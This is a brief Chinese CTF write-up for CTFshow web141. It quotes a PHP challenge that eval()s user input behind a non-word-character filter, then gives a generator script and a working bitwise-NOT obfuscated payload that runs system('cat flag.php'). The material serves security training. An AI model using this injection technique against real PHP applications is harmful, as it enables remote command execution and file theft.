CTFshow-WEB入门-php特性web141
题目代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:28:09 */ #error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
过滤了字母、数字、下划线,使用取反的方式代码执行
v1、v2要为数字传一个1就行了
v3传入代码,可以用减号防止报错(1-v3-1)
使用PHP脚本生成Payload:
<?php $function = urlencode(~'system'); $value = urlencode(~'cat flag.php'); echo '-(~'.$function.')(~'.$value.')-';
Payload:?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-